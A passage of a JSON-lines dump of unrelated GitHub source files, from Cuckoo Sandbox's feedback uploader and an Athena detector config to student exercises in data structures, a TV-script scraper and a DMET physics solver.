\"POST\" and request.is_ajax():\n kwargs = json.loads(request.body)\n else:\n kwargs = request.resolver_match.kwargs\n elif request.method == \"GET\":\n kwargs = request.GET\n elif request.method == \"POST\":\n kwargs = request.POST\n else:\n kwargs = {}\n\n task_id = (\n kwargs.get(\"task_id\", kwargs.get(\"analysis_id\"))\n )\n\n if task_id:\n options.analysis = True\n options.json_report = True\n\n if options.json_report:\n feedback.include_report_web(task_id)\n\n if feedback.report and options.analysis:\n feedback.include_analysis(memdump=options.memdump)\n\n return self.send_feedback(feedback)\n\n def send_form(self, task_id=None, name=None, email=None, message=None,\n company=None, json_report=False, memdump=False):\n feedback = CuckooFeedbackObject(\n name=name, company=company, email=email,\n message=message, automated=False\n )\n\n if json_report:\n if not task_id or not isinstance(task_id, int):\n raise CuckooFeedbackError(\n \"An incorrect Task ID has been provided: %s!\" % task_id\n )\n\n feedback.include_report_web(task_id)\n feedback.include_analysis(memdump=memdump)\n\n return self.send_feedback(feedback)\n\n def send_feedback(self, feedback):\n try:\n feedback.validate()\n except CuckooFeedbackError as e:\n raise CuckooFeedbackError(\n \"Could not validate feedback object: %s\" % e\n )\n\n headers = {\n \"Accept\": \"application/json\",\n \"User-Agent\": \"Cuckoo %s\" % version\n }\n\n try:\n r = requests.post(\n self.endpoint,\n data={\n \"feedback\": json.dumps(feedback.to_dict()),\n },\n files=feedback.to_files(),\n headers=headers\n )\n r.raise_for_status()\n\n obj = r.json()\n if not obj.get(\"status\"):\n raise CuckooFeedbackError(obj[\"message\"])\n return obj[\"feedback_id\"]\n except requests.RequestException as e:\n raise CuckooFeedbackError(\n \"Invalid response from Cuckoo feedback server: %s\" % e\n )\n except CuckooFeedbackError as e:\n raise CuckooFeedbackError(\n \"Cuckoo feedback error while trying to send: %s\" % e\n )\n\nclass CuckooFeedbackObject(object):\n \"\"\"Feedback object.\"\"\"\n export_files = [\n \"analysis.log\",\n \"cuckoo.log\",\n \"dump.pcap\",\n \"tlsmaster.txt\",\n (\"logs\", \".bson\"),\n (\"shots\", \".jpg\"),\n ]\n\n def __init__(self, message=None, email=None, name=None, company=None,\n automated=False):\n self.automated = automated\n self.message = message\n self.contact = {\n \"name\": name or config(\"cuckoo:feedback:name\"),\n \"company\": company or config(\"cuckoo:feedback:company\"),\n \"email\": email or config(\"cuckoo:feedback:email\"),\n }\n self.errors = []\n self.traceback = None\n self.export = []\n self.info = {}\n self.report = None\n\n def include_report(self, report):\n # Any and all errors.\n for error in report.errors:\n self.add_error(error)\n\n # Analysis information.\n if report.target[\"category\"] == \"file\":\n self.info[\"file\"] = report.target[\"file\"]\n elif report.target[\"category\"] == \"url\":\n self.info[\"url\"] = report.target[\"url\"]\n\n self.info[\"category\"] = report.target[\"category\"]\n self.report = report\n\n def include_report_web(self, task_id):\n from cuckoo.web.controllers.analysis.analysis import AnalysisController\n from django.http import Http404\n try:\n report = Report(AnalysisController.get_report(task_id)[\"analysis\"])\n except Http404:\n # No report available so ignoring the rest of this function.\n return\n\n return self.include_report(report)\n\n def gather_export_files(self, dirpath):\n \"\"\"Return a list of all files of interest from an analysis.\"\"\"\n ret = []\n for name in self.export_files:\n if isinstance(name, basestring):\n filepath = os.path.join(dirpath, name)\n if os.path.isfile(filepath):\n ret.append((name, filepath))\n continue\n\n if isinstance(name, tuple):\n dirname, ext = name\n dirpath = os.path.join(dirpath, dirname)\n if os.path.isdir(dirpath):\n for filename in os.listdir(dirpath):\n if not filename.endswith(ext):\n continue\n\n filepath = os.path.join(dirpath, filename)\n if not os.path.isfile(filepath):\n continue\n\n filename = \"%s/%s\" % (dirname, filename)\n ret.append((filename, filepath))\n continue\n\n raise RuntimeError(\n \"Unknown export file defined: %s!\" % name\n )\n self.export = ret\n\n def include_analysis(self, memdump=False):\n if not self.report:\n raise CuckooFeedbackError(\n \"Report must be included first when including the analysis.\"\n )\n\n if \"analysis_path\" not in self.report.info:\n raise CuckooFeedbackError(\n \"Can't include the entire analysis for this analysis as the \"\n \"analysis path isn't known.\"\n )\n\n if not os.path.isdir(self.report.info[\"analysis_path\"]):\n raise CuckooFeedbackError(\n \"Can't include the entire analysis for this analysis as the \"\n \"analysis path doesn't exist.\"\n )\n\n # TODO Support for also including memory dumps (should we?) and/or\n # behavioral logs or at least something like matched signatures.\n self.gather_export_files(self.report.info[\"analysis_path\"])\n\n def add_error(self, error):\n self.errors.append(error)\n\n def add_traceback(self, tb=None):\n self.traceback = tb or traceback.format_exc()\n\n def validate(self):\n if not self.contact.get(\"name\"):\n raise CuckooFeedbackError(\"Missing contact name\")\n\n if not self.contact.get(\"email\"):\n raise CuckooFeedbackError(\"Missing contact email\")\n\n from django.core.validators import validate_email, ValidationError\n try:\n validate_email(self.contact[\"email\"])\n except ValidationError:\n raise CuckooFeedbackError(\n \"Invalid email address: %s!\" % self.contact[\"email\"]\n )\n\n if not self.message:\n raise CuckooFeedbackError(\"Missing feedback message\")\n\n return True\n\n def to_dict(self):\n return {\n \"version\": version,\n \"errors\": self.errors,\n \"traceback\": self.traceback,\n \"contact\": self.contact,\n \"automated\": self.automated,\n \"message\": self.message,\n \"info\": self.info,\n \"cuckoo\": {\n \"cwd\": cwd(),\n \"app\": os.environ.get(\"CUCKOO_APP\"),\n \"config\": Config.from_confdir(cwd(\"conf\"), sanitize=True),\n },\n }\n\n def to_files(self):\n buf = io.BytesIO()\n z = zipfile.ZipFile(buf, \"w\", zipfile.ZIP_DEFLATED)\n for filename, filepath in self.export:\n z.write(filepath, filename)\n z.close()\n buf.seek(0)\n return {\n \"file\": buf,\n }\n","repo_name":"cuckoosandbox/cuckoo","sub_path":"cuckoo/core/feedback.py","file_name":"feedback.py","file_ext":"py","file_size_in_byte":9897,"program_lang":"python","lang":"en","doc_type":"code","stars":5316,"dataset":"github-code","pt":"61"} +{"seq_id":"43235914230","text":"class Node:\n def __init__(self, value =None):\n self.value = value\n self.next = None\n\n\nclass SLink:\n def __init__(self):\n self.head = None\n self.tail = None\n\n # def __iter__(self):\n # node = self.head\n # while node:\n # yield node\n # node = node.next\n\n def insertSLL(self, value):\n newNode = Node(value)\n if self.head == None:\n self.head = newNode\n self.tail = newNode\n\n else:\n newNode.next = None\n self.tail.next = newNode\n self.tail = newNode\n\n\n\n def list(self):\n node = self.head\n while node:\n print(node.value, end=' ')\n node = node.next\n\n\n def remove_dup(self):\n node = self.head\n if node is None:\n print(\"No such linked list found \")\n return\n\n while node.next is not None:\n if node.value == node.next.value:\n new = node.next.next\n node.next = new\n else:\n node = node.next\n return \"done\"\n\n\n\narray = [1, 2, 2, 3, 3, 4, 5, 5]\nSlinkedL = SLink()\nfor i in array:\n SlinkedL.insertSLL(i)\n\nSlinkedL.list()\n\nSlinkedL.remove_dup()\nprint(\"after removing duplicates\")\n\nSlinkedL.list()\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"abdrasheedm/Python-DataStructure","sub_path":"dsPractice/LinkedList/delete_duplicate_sorted.py","file_name":"delete_duplicate_sorted.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71106056193","text":"\nfrom AthenaConfiguration.ComponentAccumulator import ComponentAccumulator\nfrom AthenaConfiguration.ComponentFactory import CompFactory\n\n\n'''\n@file TileTBDumpConfig.py\n@brief Python configuration of TileTBDump algorithm for the Run III\n'''\n\n\ndef TileTBDumpCfg(flags, **kwargs):\n ''' Function to configure TileTBDump algorithm.'''\n\n acc = ComponentAccumulator()\n\n from TileConditions.TileCablingSvcConfig import TileCablingSvcCfg\n acc.merge( TileCablingSvcCfg(flags) )\n\n if 'TileCondToolTiming' not in kwargs:\n from TileConditions.TileTimingConfig import TileCondToolTimingCfg\n kwargs['TileCondToolTiming'] = acc.popToolsAndMerge( TileCondToolTimingCfg(flags) )\n\n if 'TileCondToolEmscale' not in kwargs:\n from TileConditions.TileEMScaleConfig import TileCondToolEmscaleCfg\n emScaleTool = acc.popToolsAndMerge( TileCondToolEmscaleCfg(flags) )\n kwargs['TileCondToolEmscale'] = emScaleTool\n\n if 'TileCondToolOfcCool' not in kwargs:\n from TileConditions.TileOFCConfig import TileCondToolOfcCoolCfg\n kwargs['TileCondToolOfcCool'] = acc.popToolsAndMerge( TileCondToolOfcCoolCfg(flags) )\n\n acc.addService(CompFactory.ROBDataProviderSvc())\n\n TileTBDump = CompFactory.TileTBDump\n acc.addEventAlgo(TileTBDump(**kwargs), primary = True)\n\n return acc\n\n\nif __name__=='__main__':\n\n # Set the Athena configuration flags\n from AthenaConfiguration.AllConfigFlags import initConfigFlags\n flags = initConfigFlags()\n parser = flags.getArgumentParser()\n parser.add_argument('--postExec', help='Code to execute after setup')\n args, _ = parser.parse_known_args()\n\n # Setup logs\n from AthenaCommon.Logging import log\n from AthenaCommon.Constants import INFO\n log.setLevel(INFO)\n\n from AthenaConfiguration.TestDefaults import defaultTestFiles\n flags.Input.Files = defaultTestFiles.RAW_RUN2\n flags.Exec.MaxEvents = 3\n flags.fillFromArgs(parser=parser)\n\n flags.lock()\n\n flags.dump()\n\n # Initialize configuration object, add accumulator, merge, and run.\n from AthenaConfiguration.MainServicesConfig import MainServicesCfg\n cfg = MainServicesCfg(flags)\n\n from ByteStreamCnvSvc.ByteStreamConfig import ByteStreamReadCfg\n cfg.merge( ByteStreamReadCfg(flags) )\n\n cfg.merge( TileTBDumpCfg(flags) )\n\n # Any last things to do?\n if args.postExec:\n log.info('Executing postExec: %s', args.postExec)\n exec(args.postExec)\n\n cfg.printConfig(withDetails=True, summariseProps=True)\n\n sc = cfg.run()\n\n import sys\n # Success should be 0\n sys.exit(0 if sc.isSuccess() else 1)\n","repo_name":"Yusuf-Manjra/athena","sub_path":"TileCalorimeter/TileTBRec/python/TileTBDumpConfig.py","file_name":"TileTBDumpConfig.py","file_ext":"py","file_size_in_byte":2613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15228591999","text":"def insert():\n global f, r, arr, n\n if f==(r+1)%n:\n print(\"queue is full:\")\n else:\n x=int(input(\"enter the element:\"))\n if f==-1:\n f=r=0\n else:\n r=(r+1)%n\n\n arr[r]=x\n\ndef delet():\n global f, r, arr, n\n if f==-1:\n print(\"underflow:\")\n else:\n arr[f]=None\n if f==r:\n f=r=-1\n else:\n f=(f+1)%n\n\n return\n\ndef display():\n global f,r,arr,n\n\n if r==-1:\n print(\"queue is empty:\")\n else:\n print(arr)\n print(\"element of queue are :\")\n for i in range(f,n):\n print(arr[i],end=' ')\n for i in range(r, f):\n print(arr[i], end=' ')\n\n print()\n\n\n\n\nn=int(input(\"enter the size of c queue:\"))\nf=r=-1\narr=list(None for i in range(n))\nprint(\"menu:\")\nprint(\"1.ENQUEUE\",\"2.DEQUEUE\",\"3.DISPLAY\",\"4.EXIT\")\nwhile(1):\n ch=int(input(\"enter your choice:\"))\n if ch==1:\n insert()\n elif ch==2:\n delet()\n elif ch==3:\n display()\n elif ch==4:\n exit(0)\n else:\n print(\"ente valid choice:\")\n\n","repo_name":"SAMIR-YADAV123/Python_Programs","sub_path":"QUEUE DS/ciirqueuq.py","file_name":"ciirqueuq.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1245963924","text":"from tkinter import *\r\ndef printInfo():\r\n selection=''\r\n for i in checkboxes:\r\n if checkboxes[i].get()==True:\r\n selection=selection+sports[i]+\"\\t\"\r\n print('姓名:'+n1.get())\r\n print('電話:'+n2.get())\r\n print('喜歡的運動:'+selection)\r\ndef clear():\r\n n1.set(\"\")\r\n n2.set(\"\")\r\n checkboxes.clear()\r\nwindow=Tk()\r\nwindow.title('ch18_28_1')\r\nlab1=Label(window,text=\"姓名\").grid(row=0,sticky=W)\r\nlab2=Label(window,text=\"電話\").grid(row=1,sticky=W)\r\nlab3=Label(window,text=\"請選擇喜歡的運動\").grid(row=2,sticky=W)\r\nn1=StringVar()\r\nn2=StringVar()\r\ne1=Entry(window,textvariable=n1)\r\ne2=Entry(window,textvariable=n2)\r\ne1.grid(row=0,column=1)\r\ne2.grid(row=1,column=1)\r\n\r\nsports={0:'美式足球',1:'棒球',2:'籃球',3:'網球'}\r\ncheckboxes={}\r\nfor i in range(len(sports)):\r\n checkboxes[i]=BooleanVar()\r\n Checkbutton(window,text=sports[i],variable=checkboxes[i]).grid(row=i+3,sticky=W)\r\nButton(window,text='確定',width=10,command=printInfo).grid(row=i+4,column=i+3)\r\nButton(window,text='取消',width=10,command=clear).grid(row=i+4,column=i+4)\r\nwindow.mainloop()","repo_name":"yvvvvvvvv/Scu_","sub_path":"Scu_Level1-2/Programming/20220526/10173116_0526_3.py","file_name":"10173116_0526_3.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5204083727","text":"import os\nimport zipfile\nimport Search_module\nimport Update_cmm\n\n# ==========================================================\n# User Variable\n# ==========================================================\n\n\nwith open('config.txt', 'r') as config_file:\n for line in config_file:\n if 'Codebase_root_folder' in line:\n Codebase_root_folder = line.rstrip().split('= ')[1]\n elif 'T32_full_path' in line:\n T32_full_path = line.rstrip().split('= ')[1]\n\n\n# ==========================================================\n# Variable declaration\n# ==========================================================\n\nELF_file_location = 0\nRadio_version = 0\n# ==========================================================\n# Main function\n# ==========================================================\n\ninput_file_location = input(\"Plz input DDRCS0.BIN or Zip file: \\r\\n\")\n\n# Try to find the BIN from zip file\nBIN_file_location = Search_module.search_bin(input_file_location)\n\nprint(BIN_file_location)\n# Try to read the Radio_version from DUMP\nRadio_version = Search_module.search_radio_version(BIN_file_location)\n\nif Radio_version == 0:\n # Radio version not found in BIN file\n Radio_version = input(\"Plz input Radio version or ELF file: \\r\\n\")\n # Input is elf file location\n if os.path.splitext(Radio_version)[1] == '.elf':\n ELF_file_location = Radio_version\n\nelse:\n # create a search instance\n elf = Search_module.Elf_search(Radio_version)\n # Search internal ELF first, If local Search fail, Search remote dir by release ver\n if elf.locally() == 0:\n ELF_file_location = elf.remotely()\n else:\n ELF_file_location = elf.elf_loc\n\nif ELF_file_location == 0:\n print('>> Fail to find the ELF')\nelse:\n\n\n # change to correct dir\n os.chdir(Codebase_root_folder + Update_cmm.cmm_path)\n\n print('>> Loading Ramdump by T32......')\n os.system(T32_full_path + ' -s ' + Update_cmm.update_all_cmm(BIN_file_location, ELF_file_location))\n\n case_number = input(\">> Input Case number for zip file, empty for skip the zip process: \\r\\n\")\n if case_number != '':\n print('>>>> Zip everything for case#', case_number)\n\n os.chdir(os.path.dirname(BIN_file_location))\n\n def tryread_coredump(line):\n try:\n parm = line.rstrip().split('= ')[1]\n except:\n parm = ''\n return parm\n\n with open('coredump.txt', 'r') as input_file:\n for line in input_file:\n if 'coredump.err.filename = ' in line:\n crash_filename = tryread_coredump(line)\n elif 'coredump.err.linenum = ' in line:\n crash_fileline = tryread_coredump(line)\n elif 'coredump.err.aux_msg = ' in line:\n crash_aux_msg = tryread_coredump(line)\n elif 'coredump.err.message = ' in line:\n crash_message = tryread_coredump(line)\n\n with open('coredump.txt', 'a') as input_file:\n input_file.write('\\n'+'Crash on '+ crash_filename +'#'+crash_fileline+': '+crash_message+' \"'+crash_aux_msg+'\"')\n\n case_zip_file = zipfile.ZipFile('case' + case_number + '@' + crash_filename + '#' + crash_fileline + '.zip',\n mode='w', compression=zipfile.ZIP_DEFLATED)\n case_zip_file.write('f3log.txt')\n case_zip_file.write('coredump.txt')\n\n case_zip_file.write(BIN_file_location, os.path.basename(BIN_file_location))\n case_zip_file.write(ELF_file_location, os.path.basename(ELF_file_location))\n case_zip_file.close()\n os.system('explorer ' + os.path.dirname(BIN_file_location))\n","repo_name":"poserlin/Ramdump_match_and_auto_load","sub_path":"ramdumptest-html-parser.py","file_name":"ramdumptest-html-parser.py","file_ext":"py","file_size_in_byte":3686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"75918704","text":"class Solution:\n\n # O(n)\n def jump(self, nums: list[int]) -> int:\n\n ans = 0\n n = len(nums)\n \n curr_end = curr_far = 0\n\n for i in range(0, n-1):\n curr_far = max(curr_far, i + nums[i])\n\n if i == curr_end:\n ans += 1\n curr_end = curr_far\n\n return ans\n\n # O(n^2)\n def jump(self, nums: list[int]) -> int:\n stepList = [999999] * len(nums)\n stepList[0] = 0\n\n for i in range(0, len(nums)):\n for j in range(0, i):\n if nums[j] + j >= i:\n stepList[i] = min(stepList[i], stepList[j] + 1)\n\n return stepList[len(nums) - 1]\n\nprint(Solution().jump([2,3,1,1,4]))\nprint(Solution().jump([2,3,0,1,4]))\nprint(Solution().jump([1,2,1,1,1]))","repo_name":"PanJianTing/LeetCode","sub_path":"45_JumpGameII.py","file_name":"45_JumpGameII.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41826184821","text":"days = int(input())\ntotal_wins = 0\ntotal_loses = 0\ntotal_income = 0\nfor i in range(days):\n wins_for_day = 0\n loses_for_day = 0\n while True:\n sport = input()\n income = 0\n if sport == \"Finish\":\n break\n result = input()\n if result == \"win\":\n total_wins += 1\n wins_for_day += 1\n income += 20\n elif result == \"lose\":\n total_loses += 1\n loses_for_day += 1\n if wins_for_day > loses_for_day:\n income += income * 0.1\n total_income += income\nif total_wins > total_loses:\n total_income += total_income * 0.2\n print(f\"You won the tournament! Total raised money: {total_income:.2f}\")\nelse:\n print(f\"You lost the tournament! Total raised money: {total_income:.2f}\")\n\n\n","repo_name":"GeorgiZdravchev/SoftUni","sub_path":"programing_basics_february/28_march_2020/christmas_tournament.py","file_name":"christmas_tournament.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10076502113","text":"import requests\nfrom bs4 import BeautifulSoup\nimport re\nimport os\nimport sys\n\ndef scrape():\n url = \"https://www.springfieldspringfield.co.uk/episode_scripts.php?tv-show=community\"\n request = requests.get(url)\n soup = BeautifulSoup(request.text, features=\"html.parser\") # parse page\n seasons = soup.find_all(class_=\"season-episodes\") # find season divs\n all_episodes = []\n for season in seasons:\n # get links for each season\n season_episodes = season.find_all(class_=\"season-episode-title\")\n for episode in season_episodes:\n all_episodes.append(\"https://www.springfieldspringfield.co.uk/\" + episode[\"href\"])\n # get page for each episode\n for episode in all_episodes:\n request = requests.get(episode)\n soup = BeautifulSoup(request.text, features=\"html.parser\")\n code = re.findall(r\"s\\d\\de\\d\\d\", soup.h1.string)[0] # season-episode code\n # get script text\n text = soup.find(class_=\"scrolling-script-container\")\n script = \"\"\n for string in text.strings:\n script += string.strip() + \"\\n\"\n # write to file\n with open(\"./scrape/\" + code + \".txt\", \"w\") as f:\n f.write(script)\n\ndef main():\n scrape()\n\nif __name__ == \"__main__\":\n main()","repo_name":"kayserifserif/community-references","sub_path":"py/getdata/transcripts.py","file_name":"transcripts.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"13841159875","text":"import os\nimport sys\n\nimport numpy as np\nimport scipy.linalg\nimport scipy.optimize\nimport gmpy2\ndirname = os.path.dirname(__file__)\npath = os.path.join(dirname, \"../mean_field/\")\nprint(path)\nsys.path.append(dirname + \"/../lattice/\")\nfrom HC_Lattice import HC_Lattice\n\nsys.path.append(dirname + \"/../mean_field/\")\nfrom Mean_field_solver import Mean_field_solver\n\nsys.path.append(dirname + \"/../impurity/\")\nfrom Impurity_solver import Impurity_solver\n\n\n'''\n:author: Romain Fournier\n:date: 01.04.2019\n:role: Handle the communication between MF solution and Impurity solution\n:contact: romain.fournier@epfl.ch\n'''\n\n\nclass DMET_solver:\n def __init__(self, t, u, n, lattice_size):\n '''\n :param t: (double) hopping integral (appears as -t c+_i c_j)\n :param u: (double) on site e-e repulsion\n :param n: (int) number of electrons on the lattice\n :param lattice_size: (2x1 int) number of rows and columns of the lattice\n '''\n self.t = t\n self.u = u\n self.n = n\n self.lattice_size = lattice_size\n self.lattice = HC_Lattice(height=lattice_size[0], length=lattice_size[1])\n self.potential = self.initialize_potential() # First potential\n self.mu =0 # chemical potential\n\n self.filling = self.n/self.lattice.nb_sites/2\n\n\n def get_mean_field_orbitals(self,u,verbose=False):\n '''\n Use the current self.potential to get self.n first orbitals of the Mean Field solution\n :return: 2*nb_sites x self.n Orbital matrix\n '''\n mf_solver = Mean_field_solver(t=self.t, u=u, lattice_size=self.lattice_size)\n # Get the orbitals\n e, C = mf_solver.solve_system(verbose=verbose)\n # check if the ground state is degenerated\n index = np.argsort(e)\n C=C[:,index]\n if verbose:\n print(\"Energies:\")\n print(e[index])\n print(np.shape(e))\n if (np.abs(e[index[self.n-1]]-e[index[self.n]])<1e-6):\n spin_down_1 = np.sum(C[self.lattice.nb_sites:2*self.lattice.nb_sites,self.n-1])\n spin_down_2 = np.sum(C[self.lattice.nb_sites:2*self.lattice.nb_sites,self.n])\n if(np.abs(spin_down_1)>0.0001):\n c=spin_down_2/spin_down_1\n beta = 1/np.sqrt(1+c**2)\n alpha = -beta*c\n C[:,self.n-1]=alpha*C[:,self.n-1]+beta*C[:,self.n]\n\n return C[:,:self.n]\n\n\n\n def get_schmidt_orbitals(self, impurity_index, verbose=False):\n '''\n Find the schmidt decomposition for the given impurity_index\n :param impurity_index: list of the index of the sites of interest\n :return: 2*nb_sites x 2*2*nb_impurity_sites x corresponding to the new orbitals\n '''\n # Get the MF orbitals\n C = self.get_mean_field_orbitals(self.potential)\n # Build O, the matrix containing all lines related to the impurity\n lines = [x - 1 for x in impurity_index] + [x + self.lattice.nb_sites - 1 for x in impurity_index]\n if (verbose):\n print(\"Lines corresponding to the impurity\")\n print(lines)\n O = C[lines, :].copy()\n if (verbose):\n print(\"Matrix corresponding to impurtiy\")\n print(np.around(O,2))\n # Performs the SVD\n U, s, Vh = scipy.linalg.svd(O)\n # rotate the occupation matrix\n C = np.matmul(C, np.conjugate(np.transpose(Vh)))\n if (verbose):\n print(\"Rotated Matrix\")\n print(np.around(C,2))\n # Create the matrix B, where C = ( A 0 ; B C) if the first lines correspond to the impurity\n mask = np.ones([2 * self.lattice.nb_sites], dtype=bool)\n mask[lines] = False\n B = C[mask, :len(s)]\n if (verbose):\n print(\"Entangled environment orbitals\")\n print(np.around(B,2))\n # Perform QR decomposition of B\n Q, _ = scipy.linalg.qr(B)\n if (verbose):\n print(\"orthogonal basis\")\n print(np.around(Q[:, :len(s)],2))\n\n # build the orbitals\n W = np.zeros([2 * self.lattice.nb_sites, 2 * len(s)],dtype=complex)\n if (verbose):\n print(\"W up\")\n print(np.around(W[~mask,:len(s)],2))\n print(\"W down\")\n print(np.around(W[mask,:len(s)],2))\n print(\"W\")\n print(np.around(W,2))\n\n W[mask,len(s):]=Q[:, :len(s)]\n W[~mask,:len(s)]=np.identity(len(lines))\n\n return W\n\n def initialize_potential(self):\n '''\n Create the first correlation potential\n :return: 2*nb_sites x 2*nb_sites correlation potential\n '''\n # find the mean occupation number per spin_site\n nb_spin_states = 2 * self.lattice.nb_sites\n mean_occupancy = self.n / nb_spin_states\n\n return self.u * mean_occupancy * np.identity(nb_spin_states)\n\n def solve_system(self,impurity_indexes,verbose=False):\n '''\n find the potential that give a consistent solution between Mean Field and impurity solutions\n :param impurity_indexes: list of index of the impurity\n :param verbose:\n '''\n\n # Initialize potential\n self.potential=self.initialize_potential()\n if(verbose):\n print(\"Initial potential\")\n print(self.potential)\n s=2*self.lattice.nb_sites\n n_parameters = 2*(self.lattice.nb_sites**2)\n # Initial density matrix\n rho_mf = self.get_rho_from_u(self.potential)\n # While the two results are different or the potential changes\n potential_diff=1\n lr=1\n # Compute the current density matrix and basis for the impurity\n B = []\n rho_impurity = []\n for index in impurity_indexes:\n B.append(self.get_schmidt_orbitals(index))\n rho_impurity.append(self.get_rho_impurity(index))\n coef=np.random.normal(0, 3, [n_parameters])\n while(self.density_norm(rho_mf,rho_impurity,B)>0.01 and potential_diff>0.05):\n #update the impurity potential (with the new potential)\n if(verbose):\n print(\"New orbitals\")\n print(np.around(self.get_schmidt_orbitals([1]),1))\n\n # Compute the current density matrix and basis for the impurity\n B=[]\n rho_impurity=[]\n for index in impurity_indexes:\n B.append(self.get_schmidt_orbitals(index))\n rho_impurity.append(self.get_rho_impurity(index))\n #find the potential that make rho_mf like rho_im\n f = lambda coef : self.density_norm(self.get_rho_from_u(self.get_u_from_coef(coef)),rho_impurity,B_list=B)\n coef = scipy.optimize.fmin(f,coef,maxiter=250000,maxfun=500000)\n V=self.get_u_from_coef(coef)\n potential_diff=np.linalg.norm(V-self.potential)\n self.potential=(1-lr)*self.potential+lr*V\n rho_mf=self.get_rho_from_u(self.potential)\n print(\"Criteria : \")\n print(self.density_norm(rho_mf,rho_impurity,B_list=B))\n print(potential_diff)\n\n\n def density_norm(self,rho,rho_impurity_list,B_list):\n '''\n :param impurity_list : list of impurity sites\n :return:||rho-rho_imp||\n '''\n # Initialize the norm\n diff=0\n # For each impurity\n for rho_impurity,B in zip(rho_impurity_list,B_list):\n # compute the orbitals\n #B=np.conjugate(B)\n rho_projected = scipy.matmul(scipy.matmul(np.transpose(B),rho),np.conjugate(B))\n # update the difference\n diff += scipy.linalg.norm((rho_impurity)-(rho_projected))\n\n return diff\n\n def get_rho_from_u(self,V):\n '''\n :param V:correlation potential\n :param impurity_index: (list) location of the impurity\n :return:\n '''\n # We must first get the ground state\n C = self.get_mean_field_orbitals(V)\n rho= np.real(scipy.matmul(C[:,:self.n],np.conjugate(np.transpose(C[:,:self.n]))))\n return rho\n\n\n\n def get_rho_impurity(self,impurity_index,verbose=False):\n '''\n :param impurity_index: index of the impurity\n :return: single particle density matrix in the impurity basis\n '''\n # Get ground state (updates the chemical potential)\n vs = self.get_ground_state(impurity_index, verbose)\n v=np.zeros(np.shape(vs[0]),dtype=complex)\n if verbose:\n print(np.around(vs,2))\n # initialize the density matrix\n rho = np.zeros([4*len(impurity_index),4*len(impurity_index)],dtype=complex)\n\n # the coefs part ensures that the ground state has a defined spin on the impurity if it is degenerated\n coefs = np.zeros(len(vs),dtype=complex)\n for k,psi in enumerate(vs):\n for i in np.arange(len(psi)):\n impurity_down = 0\n for j in np.arange(len(impurity_index)):\n if(gmpy2.bit_test(int(i),int(j+len(impurity_index)) ) and not gmpy2.bit_test(int(i),int(j))):\n impurity_down+=1\n coefs[k]+=impurity_down*psi[i]\n if len(coefs)==2:\n if(np.abs(coefs[0])>0.0001):\n c = coefs[1]/coefs[0]\n beta = 1/np.sqrt(1+c**2)\n alpha=-beta*c\n v = alpha*vs[0]+beta*vs[1]\n else :\n v = vs[0]\n else :\n v=vs[0]\n v=v/np.linalg.norm(v)\n if verbose:\n print(\"new ground state\")\n print(v)\n # populate the matrix\n # iterate over all impurity+bath positions i\n for i in np.arange(4*len(impurity_index),dtype=int):\n # iterate over all impurity+bath positions j\n for j in np.arange(4*len(impurity_index),dtype=int):\n #iterate over all elements in the basis of the Fock space\n for k in np.arange(2**(4*len(impurity_index)),dtype=int):\n #check if a+i aj|k> is not null\n if(gmpy2.bit_test(int(k),int(j))):\n if(gmpy2.bit_test(int(k),int(i))==0 or i==j):\n new_state=gmpy2.bit_flip(int(k),int(j))\n new_state=gmpy2.bit_flip(new_state,int(i))\n #and don't forget the sign !\n occupancy_between=0\n for l in np.arange(min(i,j)+1,max(i,j)):\n occupancy_between+=gmpy2.bit_test(int(k),int(l))\n rho[i,j]+=(-1)**occupancy_between*np.conjugate(v[new_state])*v[k]\n return rho\n\n\n def get_ground_state(self,impurity_index,verbose=False):\n W = self.get_schmidt_orbitals(impurity_index)\n up_mu = float(\"inf\")\n down_mu = -float(\"inf\")\n imp_solv = Impurity_solver(self.t, self.u, self.mu, W, self.lattice_size, impurity_index)\n\n n_el=-1\n if verbose :\n print(\"we desire \"+str(self.filling*4*len(impurity_index))+\" electrons on the impurity.\")\n while np.abs(n_el-self.filling*4*len(impurity_index))>0.001:\n imp_solv.set_mu(self.mu)\n g = imp_solv.get_ground_state(verbose)\n index = np.where(np.abs(g[0])>0.01)\n one_state = index[0]\n one_state = int(one_state[0])\n n_el = gmpy2.popcount(one_state)\n if(verbose):\n print(\"mu =\"+str(self.mu)+\" gives \"+str(n_el)+\" electrons\")\n # we need to increase mu to get more electrons\n if n_elself.filling*4*len(impurity_index):\n up_mu=self.mu\n if(down_mu!=-float(\"inf\")):\n self.mu=0.5*(down_mu+up_mu)\n else :\n self.mu=(self.mu)*2**(-np.sign(self.mu))-0.000000000001\n\n imp_solv.set_mu(self.mu)\n gs = imp_solv.get_ground_state()\n return gs\n\n\n def get_u_from_coef(self,c):\n '''\n :param c: coefficients that are put in the correlation potential\n :return: coorelation potential\n '''\n # declare the potential\n s = 2*self.lattice.nb_sites\n N=self.lattice.nb_sites\n u = np.zeros([s,s],dtype=complex)\n counter=0\n for i in np.arange(N):\n for j in np.arange(i,N):\n # diagonals of submatrices are real\n if i==j:\n #up_up\n u[i,j]=c[counter]\n #down_down\n u[i+N,j+N]=c[counter]\n counter+=1\n #up_down and down_up\n u[i+N,j]=c[counter]\n u[i,j+N]=c[counter]\n counter+=1\n else:\n #take care of the complex elements\n #up_up and down_down\n u[i,j]=c[counter]+1j*c[counter+1]\n u[i+N, j+N] = c[counter] + 1j * c[counter + 1]\n counter+=2\n #cross spins\n u[i + N, j] = c[counter]+1j*c[counter+1]\n u[i, j + N] = c[counter]+1j*c[counter+1]\n counter+=2\n 